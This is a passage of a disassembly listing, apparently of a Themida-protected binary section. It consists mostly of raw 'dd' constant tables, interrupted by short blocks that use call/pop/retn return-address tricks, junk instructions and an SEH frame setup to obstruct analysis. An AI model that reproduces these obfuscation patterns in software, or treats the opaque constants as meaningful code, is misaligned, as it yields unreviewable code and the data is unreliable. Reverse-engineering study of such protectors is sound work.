		dd 79230CB5h, 34810AB7h, 3C0F4A24h, 52006A79h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 8CB0A6F6h
		dd 9E7F7560h, 0F8A5858Dh, 6A07E7h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 140424h, 52420000h, 0B58903C3h, 7E40271h
		dd 0D88B6650h, 6A240489h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 43ADC351h, 897539DFh
		dd 0E4140D85h, 0FABF0F07h, 2D9995FFh, 0BD8B07E4h, 7E42D45h
		dd 13E961h, 0DADF0000h,	0BA3046F3h, 0FEA7FCBAh,	133BFEF5h
		dd 42BE833Eh, 0B985C727h, 307E422h, 52000000h, 0BD835FF8h
		dd 7E7F8A5h, 2D840F00h,	8B000000h, 41E9F9h, 870F0000h
		dd 17h,	0CE8h, 0B6DD3900h, 2E1F48A7h, 0E941868Dh, 7107BFD3h
		dd 0F5B5314h, 38Bh, 0FFB70F00h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 0EA86C357h,	84BB666Eh
		dd 7D9D8BE4h, 8307E416h, 0E422B9BDh, 850F0307h,	3BBh, 0BD48DB81h
		dd 0BD835730h, 7E7F8A5h, 0A8840F00h, 8B000003h,	0E417D1BDh
		dd 0A5B5FF07h, 0BF07E7F8h, 75C7EECCh, 44D95FFh,	0B58B07E4h
		dd 7E7F899h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0C35545h, 840B76EEh, 8BF84F90h,	0E41979BDh, 106C707h
		dd 6A000100h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 295FC351h, 9E5CC9EFh, 2594A8F9h
		dd 0B9666096h, 8A0FFD64h, 2, 5061F98Bh,	68E0F96h, 8B000000h
		dd 0E405C59Dh, 0A5B5FF07h, 6A07E7F8h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0DF00C350h
		dd 9D8BCC1Ch, 7E423F1h,	2A0995FFh, 0CE907E4h, 79000000h
		dd 0F7E8FA66h, 0E2C83B9Dh, 8B99EA43h, 0E7F899B5h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 7B8484EFh, 9FA49419h, 65858BFBh, 6A07E431h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 9D1C356h, 0B2BF6654h, 6D953134h, 8907E42Ch, 0C486h
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 14AFCD3Eh, 958BCC10h, 7E41B71h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0D3C35242h, 81667F2Bh
		dd 0F1C4FE7h, 689h, 6FC38100h, 830D88A5h, 6A04C2h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 31F4D7C3h, 97FB5B1h,	0E417F19Dh, 20508907h, 860Fh, 858D0000h
		dd 7E80CD4h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	97C35646h, 0C870B353h, 0F7816601h, 8166B4ECh, 31102EC3h
		dd 0E418B185h, 0B8868907h, 29000000h, 0E42B5D9Dh, 66006A07h
		dd 0CE2FD781h, 20B1BD8Bh, 0B5FF07E4h, 7E7F8A5h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
		dd 1FC35646h, 0B3BE820Eh, 0A3AB398Dh, 18C9BD8Bh, 95FF07E4h
		dd 7E431ADh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	1FC35242h, 0CF7E7F15h, 10E95080h, 92000000h, 0A169A1B3h
		dd 0FCDB5EC7h, 304CD976h, 8931D200h, 9D8B2434h,	7E400B5h
		dd 0F8A5B5FFh, 0C3BF07E7h, 891B4787h, 0E41C9185h, 1195FF07h
		dd 8907E41Bh, 0E40F15BDh, 0F9BD8307h, 7E40Dh, 2C840Fh
		dd 0BF660000h, 8589CC84h, 7E40B35h, 0CE850h, 0E8410000h
		dd 12FAB024h, 0C2E4F05Dh, 66569713h, 5B3CD8BBh,	2434895Bh
		dd 9059D8Bh, 0B5FF07E4h, 7E7F8A5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 77C35646h, 65C2CEB9h, 7D95FFA3h
		dd 2B07E402h, 0E40B89BDh, 0A5B5FF07h, 0FF07E7F8h, 0E4097195h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 83A1351Dh, 0E40A21BDh, 840F0207h, 5Bh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0B2C35646h, 8B66357Fh
		dd 0B5858BDAh, 6A07E41Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h, 0DC1EC357h,	8A46BB66h
		dd 2145BD8Bh, 0C607E4h,	89525700h, 0E412BDB5h, 0C75B5F07h
		dd 0E4267185h, 7, 519D8B00h, 0E907E41Eh, 0FFFFF3B7h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0B5C35141h, 8B26034Dh
		dd 852960C1h, 7E41269h,	61D78B66h, 0D85858Dh, 6A07E4h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 3A43B2C3h, 663937BFh, 0BB669079h, 90508107h,	0BE8h
		dd 8C9E3900h, 9575616h,	0E68593A2h, 47FCD381h, 6A5B73ADh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 0A70A2B80h, 0A206BBACh, 6A72B5h,	8D74EF80h
		dd 0E94F4D85h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0A3AF12CCh, 0AC205E8Ah
		dd 0B5290EE4h, 7E41815h, 6A05C083h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 96BDC350h
		dd 0D1CF358Bh, 0BD8BF698h, 7E40111h, 57525090h,	0E9310F5Fh
		dd 0Ah,	0C372E781h, 0CC6F5DABh,	585A4538h, 850F5150h, 17h
		dd 11E8h, 0DAEA4A00h, 0A1EEC590h, 0BA49A49Eh, 7F6A66E9h
		dd 5B5BA0BDh, 51006A90h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 539E3633h, 81666AC8h, 8BD559CBh
		dd 0E4091D9Dh, 619D2907h, 6A07E41Eh, 52006A00h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 55D1E296h
		dd 213FEDBAh, 6A006AF3h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0A838C355h,	687135EDh
		dd 58CD9165h, 5BD88B50h, 247195FFh, 0E96007E4h,	6, 85FC603Dh
		dd 0B509CAC9h, 7E41815h, 4B8D8D61h, 6A07E7D6h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 53BDC350h, 66EEB391h, 0E8BF381h, 6AD1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2969F9C3h
		dd 60755381h, 15BD8384h, 107E420h, 4A850Fh, 81660000h
		dd 6A40D3EBh, 0DE8B6602h, 50525150h, 5A310F52h,	895F5B58h
		dd 6A2404h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0AB3802C3h, 6399D01h, 9D2907E4h, 7E41609h
		dd 31AD95FFh, 0DE8B07E4h, 0DAAE9h, 0E800h, 815D0000h, 0E94F57EDh
		dd 0F19D8B07h, 0BF07E432h, 2CA11F21h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 85C35747h, 268E3D5Fh, 94C1D82Ah
		dd 8DF9BF0Fh, 0E7C6E185h, 4895007h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0CFA2ADF7h
		dd 9D9D0B84h, 8B07E424h, 0E41AC1BDh, 35FF6407h,	0
; ---------------------------------------------------------------------------
		mov	edi, 3CD8C55Dh
		mov	large fs:0, esp
		mov	edi, ecx
		inc	dword ptr [ebp+7E420B9h]
		push	0
		push	edx
		call	sub_5D7477
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7477	proc near		; CODE XREF: Themida_:005D746Fp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5D7477	endp

; ---------------------------------------------------------------------------
		db 0E0h
		dd 896E9A01h, 0E40509BDh, 8D0F5607h, 6,	21C99D8Bh, 6A5F07E4h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B5FF3A84h, 7E42BF1h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 0B4C35343h,	5B32B41Bh, 0D54A7963h
		dd 6FC478BFh, 4D95FF11h, 0E907E430h, 0FFh, 0CD836BFh, 0BF00B079h
		dd 1C462155h, 6E970E6h,	0E2000000h, 93166342h, 6671E4B9h
		dd 613CD98Bh, 0D9830Fh,	0BD8B0000h, 7E42E11h, 0FC8B60Fh
		dd 6BADFBFh, 0F000000h,	8166FBBFh, 8BBFB9F7h, 518D89C1h
		dd 0C107E433h, 0BB6604E8h, 0F76671FDh, 6890FE2h, 89000000h
		dd 0E42FED85h, 8BC82B07h, 0E41B41BDh, 80D18B07h, 90E9DCCBh
		dd 0B000000h, 0E416A19Dh, 0AE907h, 0FE500000h, 923F0868h
		dd 8E06BEDFh, 4E49858Bh, 0BD8B4400h, 7E42229h, 8007C083h
		dd 0C083EAEBh, 0BE800h,	31A90000h, 97A9942Ch, 0BE4570Bh
		dd 5BF88B62h, 830FD03Bh, 0Dh, 1CBDBD8Bh, 40E907E4h, 0B7000000h
		dd 0FF8D8B38h, 89FFFFFFh, 0E42B6195h, 1E18307h,	29840Fh
		dd 0BB660000h, 0A583F098h, 0FFFFFFFFh, 0BD9D8BFEh, 0BF07E40Eh
		dd 1A0E86DCh, 4E499589h, 8A0F4400h, 2, 0E9D98Bh, 8D000000h
		dd 0E8C914B5h, 3D9D0307h, 0E807E415h, 12h, 7A06A29Ah, 0D9C838D9h
		dd 0A076B55Eh, 8CE38AA6h, 5FF596A5h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 312D3EC3h
		dd 89882568h, 0E4034595h, 0DF816607h, 95FFB65Eh, 7E40E41h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 54C35040h
		dd 0B8DA0248h, 0BD8BBD85h, 7E42559h, 1219D8Bh, 0C3B907E4h
		dd 6A000010h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0F74DC351h, 4D958AE8h,	78D84B63h
		dd 9529DE8Ah, 7E42E05h,	0BBFCE183h, 4B97C2A2h, 53006AFCh
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0DBD8BFDh, 0F07E415h, 0B8FFB7h, 81000000h, 0C8514CD3h
		dd 0BA32h, 33AD0000h, 3E8D1C2h,	4E983D0h, 6AF475h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0E9B87BC3h, 14h, 61455F3h, 740D4774h, 547E02C4h, 371B55C8h
		dd 0C470DC0h, 66D8B70Fh, 0D4A62BBh, 88h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 18h, 66C35141h, 26919CD9h
		dd 17D8589h, 816607E4h,	8B7BC6F7h, 0E41B7195h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0AD2C18A9h, 0CEF6DDF9h, 0FDF8B66h, 688h, 45EB8100h
		dd 8B2894E1h, 0E42DA18Dh, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 34505B49h
		dd 320B9406h, 8B5039D8h, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 6679B260h, 6A61D18Bh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 6192C353h
		dd 611BD83h, 0F0007E4h,	7884h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0BE9A9h, 0A1950000h
		dd 0FECFBC3Bh, 16C14A6Dh, 0B8B1h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6AFE42C3h
		dd 0E78D8D67h, 6A07E44Fh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 4E8CC350h, 0B7E1FF08h
		dd 0B9BD838Ah, 7E422h, 3E4840Fh, 0CB800000h, 0B9BD8346h
		dd 107E422h, 3EF840Fh, 6A0000h,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 9CA592C3h, 2349CFBDh
		dd 0B9BD834Eh, 307E422h, 389860Fh, 0DD8A0000h, 299D8B60h
		dd 6607E421h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0EFFDCDC3h, 0B1EA8B5Dh, 8589A418h
		dd 7E4272Dh, 0E804E180h, 10h, 884C3E5h,	5E7F353Bh, 0DED69E83h
		dd 0D893476Ah, 2BF9BD89h, 0A5B07E4h, 0E8840FC9h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 1824C351h, 0F95BA0A1h, 0C1BD89C3h, 8B07E401h
		dd 0E4065185h, 0BD8B6007h, 7E4322Dh, 21A18D8Bh,	336107E4h
		dd 0E4202985h, 8B509007h, 8B6690FAh, 1751BBDFh,	6A0CC7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 5EC35747h
		dd 7D99336h, 2BADB633h,	37BF66F8h, 61D86867h, 34813249h
		dd 56622724h, 10E832h, 6C6B0000h, 0EB45899Eh, 1B86A754h
		dd 0AF65460Eh, 0FF5FCAFCh, 0E42D9995h, 51006A07h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
		dd 9501C586h, 7E42DFDh,	0A58589F8h, 0E807E7F8h,	9, 0EE44DA86h
		dd 0C135BD32h, 0DF8166CFh, 0E95B7341h, 1E8h, 8BDBBF0Fh
		dd 0E7F89D85h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FE4D73Dh, 0C7DAB7h, 18h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0F1C35343h
		dd 89428362h, 0E423E5BDh, 499D8B07h, 6007E424h,	0D1B70FF8h
		dd 0A1B58B61h, 0F07E7F8h, 786h,	2EBF5000h, 5F0DF4DCh, 99858Bh
		dd 820F07E4h, 0
; ---------------------------------------------------------------------------
		mov	[esi], eax
		mov	eax, [ebp+7E40651h]
		mov	ebx, [ebp+7E40DFDh]
		mov	[esi+4], eax
		push	0
		push	ebx
		call	sub_5D7AB0
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7AB0	proc near		; CODE XREF: Themida_:005D7AA8p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5D7AB0	endp

; ---------------------------------------------------------------------------
		push	esi
		dec	esp
		daa
		inc	ecx
		mov	eax, 1120D9D2h
		xor	[ebx-1BCE1663h], cl
		pop	es
		push	eax
		push	edi
		mov	ebx, 1784A230h
		pop	edi
		mov	[esp], esi
		sub	ebx, [ebp+7E42459h]
		push	dword ptr [ebp+7E7F89Dh]
		push	0
		push	ebx
		call	sub_5D7AF2
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7AF2	proc near		; CODE XREF: Themida_:005D7AEAp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5D7AF2	endp

; ---------------------------------------------------------------------------
		dw 7C3Ah
		dd 275044F4h, 2B992BC5h, 0E40B15BDh, 4E807h, 3FF0000h
		dd 0FB8B001Fh, 7BBB6650h, 24448B77h, 14E804h, 2FEF0000h
		dd 5C1381E9h, 5809CDC8h, 0C004DD27h, 0E35F8B90h, 0F524CD3h
		dd 88h,	8B5F5B00h, 0DA8B6600h, 4244489h, 11E9h,	0F6020C00h
		dd 0F3D1F8A5h, 0CDA63D07h, 5250A9A7h, 6A581333h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h
		dd 0AC21C350h, 0FC628077h, 8B62998Fh, 0E41E75BDh, 0A5858D07h
		dd 8907E7F8h, 0E40B5585h, 52509007h, 28A0Fh, 69B70000h
		dd 880F310Fh, 2, 585A6160h, 8E950h, 5A0000h, 4D5D51DCh
		dd 81904F1Bh, 77EC9CDBh, 2E06BB3Dh, 95FF2282h, 7E42D99h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 66C35747h
		dd 4A2A6800h, 619D8BB8h, 0FC07E400h, 14E961h, 0AE740000h
		dd 0B885454Bh, 874B80D6h, 4E937DF3h, 4C64DCC5h,	85C7344Dh
		dd 7E422B9h, 3,	0A5BD83FCh, 7E7F8h, 2D840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 1487D6C3h, 0F9A4B788h, 21E9h, 0BF0F6000h, 5061F5C0h
		dd 110C30h, 0C1011144h,	443010E8h, 4C000211h, 83580311h
		dd 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h, 11443010h
		dd 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h
		dd 11443003h, 64285802h, 4300111h, 4E98311h, 0EBE775h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 92921C3h,	0F1E5E19Ch, 2906C06Ah, 0E41B4985h
		dd 99858907h, 6A07E40Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0E8A7C357h,	8384401Ah
		dd 0E422B9BDh, 850F0307h, 449h,	128D8D89h, 0BD8307E4h
		dd 7E7F8A5h, 36840F00h,	0FF000004h, 0E7F8A5B5h,	52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 6C13D118h, 0E96DC286h, 8, 7119BEA8h,	8E8C9684h, 44D95FFh
		dd 0F38007E4h, 859D2B42h, 8B07E401h, 0E7F899B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0BD0B4C98h, 7E40E5Dh, 106C7h, 0BD8B0001h, 7E40121h
		dd 0E8525050h, 11h, 31505EBAh, 8AAB1A55h, 0E5F38F76h, 1B7861BBh
		dd 5BF98BC8h, 0AE9310Fh, 21000000h, 231FF3E9h, 5EFC83C4h
		dd 89585A62h, 0C2BF2434h, 0FF7CD8DEh, 0E7F8A5B5h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 1741ECB2h, 79849222h, 0BD29CE75h, 7E4199Dh, 2A0995FFh
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0B7FBCCC3h, 441AA4F1h, 0BE8h, 74F1E700h
		dd 0E879E1E8h, 3D85388Ch, 31818D89h, 8B5F07E4h,	0E7F899B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0FDF8B1Fh, 858BDEBFh, 7E43165h, 0DE8h, 6102E00h
		dd 1EBF4678h, 268BC9A4h, 57B35D0Dh, 0C486895Fh,	81000000h
		dd 76325DDFh, 0BDBD8B0Dh, 8B07E402h, 0E41B7195h, 178D0F07h
		dd 0E9000000h, 12h, 0E27443D4h,	0DD86677h, 7996EB4Fh, 9BF7A6C7h
		dd 0C28341DFh, 5089F804h, 53006A20h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 0B287548Bh
		dd 502A6ECAh, 89516DEDh, 0E414B995h, 858D5F07h,	7E80CD4h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 4EC35242h
		dd 0FC14829h, 8689F9BFh, 0B8h, 0FFD78166h, 0BF006A24h
		dd 45CFF97Dh, 0F8A5B5FFh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 0F248A4C3h, 890A61DDh
		dd 0E41AD585h, 0AD95FF07h, 6A07E431h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0B8C1C353h
		dd 0BBABEB52h, 259A1EB8h, 7E96050h, 0D9000000h,	8DDB95D0h
		dd 0E95282F1h, 10h, 7ED2E721h, 0C307A9A4h, 0FB9D37EEh
		dd 8B2FE106h, 3489615Fh, 11D38124h, 0FF283B6Dh,	0E7F8A5B5h
		dd 8D858907h, 0FF07E421h, 0E41B1195h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 12D6BA54h, 0FCB83E1h, 68Ah, 0D19D2300h, 8307E406h, 0E40DF9BDh
		dd 840F0007h, 83h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 6EC35747h, 47977508h,	68B0Fh,	9D890000h
		dd 7E42D4Dh, 0B898589h,	509607E4h, 66525060h, 310FC88Bh
		dd 585A6160h, 0CE9h, 1AB6700h, 43D38833h, 0AC528BE5h, 6A96617Eh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 5360C356h, 999D892Ah, 0F07E406h, 685h, 0F1BD8B00h
		dd 0FF07E418h, 0E7F8A5B5h, 51950107h, 8B07E42Dh, 0E4246DBDh
		dd 7D95FF07h, 8B07E402h, 0E415899Dh, 0A5B5FF07h, 8A07E7F8h
		dd 7195FFF9h, 6A07E409h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 96E2C353h, 10E9h, 7007D000h
		dd 7B356F1Ch, 19778B88h, 61A4B608h, 21BD8313h, 207E40Ah
		dd 5F840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 150424h, 57470000h, 8BE93FC3h, 0E41EB585h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 9D0308C9h, 7E43235h,	0FDAB70Fh, 0C6FABFh, 0BE900h, 12AC0000h
		dd 5054464Fh, 64032B17h, 7185C7C5h, 7E426h, 8B000000h
		dd 0E405ADBDh, 0F345E907h, 8E0FFFFFh, 6, 51BD8Bh, 0C18B07E4h
		dd 13E8h, 0BC90BB00h, 0A108DA72h, 5D8D8F30h, 58810C51h
		dd 4229782Fh, 199BD89h,	8D5F07E4h, 0E40D8585h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 9E850D2h, 6D000000h,	0D3FE5D88h, 0D91E5A79h,	0CE14BB66h
		dd 2404895Fh, 5FD88B52h, 6A006Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 685B01C3h, 44F340BFh
		dd 25BD8B21h, 6A07E425h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 5C16E28Dh, 1A05167Dh
		dd 43858D3Bh, 8307E95Fh, 6A05C0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0DE12B5C3h, 85176A4Eh
		dd 870F2972h, 0Fh, 0AE9h, 6191B100h, 0FC297AF6h, 8BC5BEBCh
		dd 820F50FBh, 28h, 10E8h, 0A3B98200h, 483859ACh, 2CEE9686h
		dd 9131D4ABh, 0DE9E1h, 0ECCA0000h, 3E2865B9h, 5CAB744Ah
		dd 5BF02560h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0E9F5C355h,	0CB81174Fh
		dd 3666BAh, 61EB8166h, 8B006A9Eh, 0E40401BDh, 0F006A07h
		dd 95FFFBBFh, 7E42471h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 26C35545h, 0B9A0C34h,	8E35E808h, 0D64B8D8Dh
		dd 830F07E7h, 4, 2E88BF66h, 0FE8BD1FFh,	0C3DB8166h
		dd 15BD8344h, 107E420h,	0BC850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 180424h, 50400000h, 49BD9EC3h
		dd 0C781CA41h, 18D40BF7h, 6A026Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 575AF8C3h, 36C0BB66h
		dd 9E9h, 0F709B200h, 26269204h,	50503BF2h, 0FDD8A52h, 0F88B6631h
		dd 489585Ah, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 3D852916h, 0FF07E40Bh, 0E431AD95h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4A832AD3h, 0ABAF2A07h, 9D23BE09h, 7E41B79h
		dd 79E938B7h, 0E800000Dh, 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 7E95F4Dh
		push	0
		push	eax
		call	sub_5D83EA
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D83EA	proc near		; CODE XREF: Themida_:005D83E2p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_5D83EA	endp

; ---------------------------------------------------------------------------
		dw 589Fh
		dd 0A0B7F46Dh, 6A6291h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0FD1DB0C3h, 0E1858D3Fh, 6A07E7C6h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 0C1B5C351h, 0F299FF4Fh, 5360D984h, 850Fh
		dd 665B0000h, 4728F281h, 52509061h, 310FDA8Bh, 609DB560h
		dd 585A6161h, 6A9050h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0FF643BC3h, 35h,	52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h
		dd 0C0897329h, 9529B02Fh, 7E42349h, 258964h, 0FF000000h
		dd 0E420B985h, 0F98D0907h, 6A07E42Bh, 0A59D2BFFh, 0FF07E409h
		dd 0E40635B5h, 359D2307h, 0FF07E40Dh, 0E4304D95h, 10CE907h
		dd 0BD890000h, 7E41E01h, 8B6600B0h, 3599BFD8h, 70E6378Ah
		dd 6820Fh, 8D890000h, 7E41ED5h,	9D8B71E4h, 7E43029h, 218D9D0Bh
		dd 613C07E4h, 0D8830Fh,	0E7810000h, 33DB0BC1h, 6820Fh
		dd 9D290000h, 7E4258Dh,	0FC8B60Fh, 9D8BF9B7h, 7E40111h
		dd 6BAh, 8BA9B700h, 0E8C1FCC1h,	41BD2904h, 3307E426h, 0E415C9BDh
		dd 0E2F76607h, 0E69BD89h, 0C82B07E4h, 52D18BFCh, 21019D89h
		dd 15F07E4h, 0E427959Dh, 80E907h, 9D290000h, 7E4300Dh
		dd 0AA1BD23h, 858B07E4h, 505F4C4Ch, 8B07C083h, 0E41FE1BDh
		dd 0C08307h, 4EEF8166h,	0FD03BC4h, 1683h, 0CD9D8900h, 0E907E419h
		dd 4Ah,	5BBA6660h, 0E27EBFFBh, 8B6125FAh, 0FFFFFF8Dh, 96BF66FFh
		dd 1E183E6h, 2C840Fh, 9D8B0000h, 7E40FA1h, 1998589h, 0A58307E4h
		dd 0FFFFFFFFh, 0E19589FEh, 8907E419h, 5F4C4C95h, 0C58D8950h
		dd 8A07E421h, 0E9FAh, 0B58D0000h, 7E8D9D7h, 108E0Fh, 0BE90000h
		dd 0A1000000h, 7C00BAF6h, 68206FAh, 0BF66955Ah,	6A1FC9h
		dd 0E4195FFh, 9D8B07E4h, 7E423B5h, 5E8h, 8465AD00h, 8529A83Ah
		dd 7E41FCDh, 1037B95Fh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0BA6306C3h, 3EE13EBh
		dd 0E426B9BDh, 9BD8B07h, 8307E41Fh, 6AFCE1h, 3E852h, 5A200000h
